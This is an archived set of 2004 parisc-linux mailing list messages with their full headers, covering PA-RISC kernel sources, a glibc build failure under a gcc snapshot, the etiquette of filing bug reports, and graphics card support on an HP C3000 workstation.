List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Feb 2004 18:10:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20833

On Fri, Feb 13, 2004 at 08:06:12PM +0200, dub@latnet.lv wrote:
> Hi,
> 
> I'm trying to compile a new kernel for K210. I tried both stable 2.4.24 and 2.4.23
> (got them by "apt-get -t stable kernel-source-2.4.2x")

the problem you're having is that you're trying to compile a kernel
that really doesn't support parisc.  i suggest either getting the
latest CVS kernel (see http://www.parisc-linux.org/faq/cvs.html) or
kernel-patch-2.4.21-hppa from the debian archive.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Fri, 13 Feb 2004 14:49:08 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20040213194906.GA6760@baldric.uwo.ca>
References: <20040211162702.GI990@baldric.uwo.ca>
	<402A4CA500001B4D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623192 5570 80.91.229.3 (22 Nov 2014 02:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:32 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Fri Feb 13 12:48:34 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08E15489F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 12:48:34 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040213194825.TBWG322971.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Fri, 13 Feb 2004 14:48:25 -0500
Content-Disposition: inline
In-Reply-To: <402A4CA500001B4D@ocpmta2.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (5% Sync Ratio [=.........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Fri,
	13 Feb 2004 14:48:25 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Feb 2004 19:48:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20834

> 00000000 <set_dp>:
>        0:	4b 54 00 48 	ldw 24(,r26),r20
>        4:	0e 88 10 9b 	ldw 4(,r20),dp
>        8:	e8 40 c0 00 	bv r0(rp)
>        c:	08 1a 02 5c 	copy r26,ret0
> 
> Should I log a pb near gcc team?

Aggressive inlining, and inlining mistakes might cause the function to 
disapper. Unless you can produce a *small* testcase the gcc team will
not look at the bug. You can't say "glibc doesn't build with gcc-3.5"
... well I guess you can, but nobody will have a clue how to fix the
issue.

Cheers,
Carlos.



From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Fri, 13 Feb 2004 17:17:29 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040214001729.GA4727@colo.lackof.org>
References: <20040211162702.GI990@baldric.uwo.ca>
	<402A4CA500001B4D@ocpmta2.freegates.net>
	<20040213194906.GA6760@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623192 5571 80.91.229.3 (22 Nov 2014 02:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:32 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Fri Feb 13 17:17:31 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08B93487E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Feb 2004 17:17:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1BC402980D9; Fri, 13 Feb 2004 17:17:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04351-10; Fri, 13 Feb 2004 17:17:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 699A92980D8; Fri, 13 Feb 2004 17:17:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040213194906.GA6760@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 14 Feb 2004 00:17:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20835

On Fri, Feb 13, 2004 at 02:49:08PM -0500, Carlos O'Donell wrote:
> Aggressive inlining, and inlining mistakes might cause the function to 
> disapper. Unless you can produce a *small* testcase the gcc team will
> not look at the bug. You can't say "glibc doesn't build with gcc-3.5"
> ... well I guess you can, but nobody will have a clue how to fix the
> issue.

And he should say *something*.
Pointing at the problem is a first step towards fixing it.
Don't wait until you have a "small" test case to point out a problem
since one might never (have time to) find one.

Even though I fix very few bugs these days, I'm grateful for
every bug report.

grant


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Sat, 14 Feb 2004 14:52:12 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <402E361C.7090401@tiscali.be>
References: <20040211162702.GI990@baldric.uwo.ca>
	<402A4CA500001B4D@ocpmta2.freegates.net>
	<20040213194906.GA6760@baldric.uwo.ca>
	<20040214001729.GA4727@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623192 5573 80.91.229.3 (22 Nov 2014 02:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:32 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sat Feb 14 07:51:52 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33DD8486E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 07:51:52 -0700 (MST)
Original-Received: from [62.235.123.53] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1As193-0004Ll-7n; Sat, 14 Feb 2004 15:51:49 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040214001729.GA4727@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 14 Feb 2004 14:51:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20836



Grant Grundler wrote:
> On Fri, Feb 13, 2004 at 02:49:08PM -0500, Carlos O'Donell wrote:
> 
>>Aggressive inlining, and inlining mistakes might cause the function to 
>>disapper. Unless you can produce a *small* testcase the gcc team will
>>not look at the bug. You can't say "glibc doesn't build with gcc-3.5"
>>... well I guess you can, but nobody will have a clue how to fix the
>>issue.
> 
I understand, so better try to find a fix myself?
In the mean time, as James find the shmem BUG(), I take a more to time to look for gcc ml archive ;)
And I find on gcc-help a another pb of asm inlining <http://gcc.gnu.org/ml/gcc-help/2004-02/msg00076.html>
and advise of change <http://gcc.gnu.org/ml/gcc-help/2004-02/msg00077.html>.
If I don't reach to find an elegant solution, can I also address some messages on gcc-help ml?
> 
> And he should say *something*.
> Pointing at the problem is a first step towards fixing it.
> Don't wait until you have a "small" test case to point out a problem
> since one might never (have time to) find one.
> 
> Even though I fix very few bugs these days, I'm grateful for
> every bug report.
> 
Thanks to all for advise and attention,
	Joel


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Sat, 14 Feb 2004 13:23:21 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20040214182319.GA8542@baldric.uwo.ca>
References: <20040211162702.GI990@baldric.uwo.ca>
	<402A4CA500001B4D@ocpmta2.freegates.net>
	<20040213194906.GA6760@baldric.uwo.ca>
	<20040214001729.GA4727@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623192 5575 80.91.229.3 (22 Nov 2014 02:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:32 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb 14 11:22:46 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F19B486E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 11:22:46 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040214182243.BYJI189272.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 14 Feb 2004 13:22:43 -0500
Content-Disposition: inline
In-Reply-To: <20040214001729.GA4727@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (5% Sync Ratio [=.........])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sat,
	14 Feb 2004 13:22:43 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 14 Feb 2004 18:22:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20837

> > Aggressive inlining, and inlining mistakes might cause the function to 
> > disapper. Unless you can produce a *small* testcase the gcc team will
> > not look at the bug. You can't say "glibc doesn't build with gcc-3.5"
> > ... well I guess you can, but nobody will have a clue how to fix the
> > issue.
> 
> And he should say *something*.
> Pointing at the problem is a first step towards fixing it.
> Don't wait until you have a "small" test case to point out a problem
> since one might never (have time to) find one.
> 
> Even though I fix very few bugs these days, I'm grateful for
> every bug report.

I was too harsh, sorry for that, you should really submit a bug report
saying that glibc 2.3.3 doesn't build with gcc-3.5 on hppa-linux. It's
the truth, and you don't know why. The best you can do is list the 
steps you used to recreate the problem.

Thanks for setting me straight Grant! :)

c.



From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Sat, 14 Feb 2004 19:29:38 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <402E7722.2080105@tiscali.be>
References: <20040211162702.GI990@baldric.uwo.ca>	<402A4CA500001B4D@ocpmta2.freegates.net>	<20040213194906.GA6760@baldric.uwo.ca>	<20040214001729.GA4727@colo.lackof.org>
	<20040214182319.GA8542@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623193 5577 80.91.229.3 (22 Nov 2014 02:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sat Feb 14 12:29:18 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78CCA4892
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 12:29:17 -0700 (MST)
Original-Received: from [62.235.123.53] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1As5TW-0002Yx-0V; Sat, 14 Feb 2004 20:29:14 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040214182319.GA8542@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 14 Feb 2004 19:29:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20838



Carlos O'Donell wrote:
>>>Aggressive inlining, and inlining mistakes might cause the function to 
>>>disapper. Unless you can produce a *small* testcase the gcc team will
>>>not look at the bug. You can't say "glibc doesn't build with gcc-3.5"
>>>... well I guess you can, but nobody will have a clue how to fix the
>>>issue.
>>
>>And he should say *something*.
>>Pointing at the problem is a first step towards fixing it.
>>Don't wait until you have a "small" test case to point out a problem
>>since one might never (have time to) find one.
>>
>>Even though I fix very few bugs these days, I'm grateful for
>>every bug report.
> 
> 
> I was too harsh, sorry for that, you should really submit a bug report
> saying that glibc 2.3.3 doesn't build with gcc-3.5 on hppa-linux. It's
> the truth, and you don't know why. The best you can do is list the 
> steps you used to recreate the problem.
> 
Ok, I will try to report as much detail as I can.

Thanks for all,
	Joel


From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 video options
Date: Sat, 14 Feb 2004 22:02:57 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623193 5579 80.91.229.3 (22 Nov 2014 02:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: epotter@eep.burdell.org  Sat Feb 14 20:07:24 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B2C94855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 20:07:24 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1F32viD012926
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 22:02:57 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1F32vuY012923
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 22:02:57 -0500 (EST)
X-Authentication-Warning: keymaster: epotter owned process doing -bs
X-X-Sender: epotter@keymaster
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 03:07:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20839

Hello all,

I just got my fancy new Visualize C3000 workstation and am busily
installing linux on it.  Whee!  So far, things have gone smoothly but I
I've come across the issue that the computer has an fx4 graphics card,
which is apparently unsupported.  I stared at list archives for a while
and found that the A4977A Visualize EG card is supported, and I'm
working on picking up one of those.  But it seems a shame to take this
nice 64-bit PCI generally kick-butt card out and stuff in an entry-level
32-bit PCI card with 8-bit color depth.  Are there other options?  So
far I've seen:

1) At some point, hp released the fx5 and fx10 graphics adapters, which
replaced the fx4 and fx6 cards, and said that they would be supported
under Linux.  But they accomplished that by releasing a binary form of
its proprietary X server, which is no longer supported.  The Customer
Advisory:
http://wwss1pro.compaq.com/support/reference_library/viewdocument.asp?source=WV031007_CW01.xml&dt=3
suggests that "customers can purchase current graphics adapters that are
more powerful than hp fx5 or fx10 graphics adapters for a fraction of
the original cost."  But they don't say (for example) what graphics
adapters, or if they have linux support.  Did they come out with
something?

2) Someone posted on the list that you could get a PCI Nvidia Voodoo2
card and maybe it would work, but when he tried it he got nothing except
corrupted nvram.  That doesn't sound very promising, but I thought I'd
ask.

3) There are other PCI graphics cards (even 64-bit PCI) out there that
work on other *nix systems (AS/*****, SUN, etc.); is everyone's (or just
HP's) firmware so different that one has to get a graphics card just for
the HP?



TIA,
--
Elliott



From - Thu Nov 08 21:30:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sun, 15 Feb 2004 03:36:32 +0000 (GMT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
References: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623193 5592 80.91.229.3 (22 Nov 2014 02:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Elliott Potter <epotter@eep.burdell.org>
Original-X-From: xam@cs.ucc.ie  Sat Feb 14 20:36:41 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA0854855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 20:36:40 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1F3aYtY006775;
	Sun, 15 Feb 2004 03:36:35 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.GSO.4.44.0402142137500.12861-100000@keymaster>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 15 Feb 2004 03:36:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20840

On Sat, 14 Feb 2004, Elliott Potter wrote:

> Hello all,

[...]

> 1) At some point, hp released the fx5 and fx10 graphics adapters, which
> replaced the fx4 and fx6 cards, and said that they would be supported
> under Linux.  But they accomplished that by releasing a binary form of
> its proprietary X server, which is no longer supported.  The Customer

It's ix86-Linux only.

> 2) Someone posted on the list that you could get a PCI Nvidia Voodoo2
> card and maybe it would work, but when he tried it he got nothing except
> corrupted nvram.  That doesn't sound very promising, but I thought I'd
> ask.

Someone tried Voodoo2, but no success report so far.

Somebody had success with a ATI Rage XL graphics card and a 2.4.22 kernel
(and a special no-bios patch). He had some colour issues 'though.
Unfortunatelty the patch doesn't work on the 2.4.24 kernel anymore;
I contacted the developer of this patch, and he said he's busy with some
other things, and porting it to 2.4.24 (or even 2.6) will be low priority.

> 3) There are other PCI graphics cards (even 64-bit PCI) out there that
> work on other *nix systems (AS/*****, SUN, etc.); is everyone's (or just
> HP's) firmware so different that one has to get a graphics card just for
> the HP?

You'll be lucky to get any (ix86) PCI graphics card working on Linux/PA-RISC.
The best bet would be to get a Visualize-EG, or some graphics card that
doesn't require initialization via (ix86-)BIOS (eg. Matrox Millenium).

Greetings,
  Max


From - Thu Nov 08 21:30:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <epotter@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 video options
Date: Sat, 14 Feb 2004 22:48:53 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.44.0402142239370.12861-100000@keymaster>
References: <Pine.LNX.4.58.0402150326330.22822@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623194 5596 80.91.229.3 (22 Nov 2014 02:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: epotter@eep.burdell.org  Sat Feb 14 20:53:28 2004
Return-Path: <epotter@eep.burdell.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from keymaster (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAD4A4855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Feb 2004 20:53:28 -0700 (MST)
Original-Received: from keymaster (localhost [127.0.0.1])
	by keymaster (8.12.9/8.12.9) with ESMTP id i1F3msiD012952;
	Sat, 14 Feb 2004 22:48:54 -0500 (EST)
Original-Received: from localhost (epotter@localhost)
	by keymaster (8.12.9/8.12.9/Submit) with ESMTP id i1F3ms5K012949;
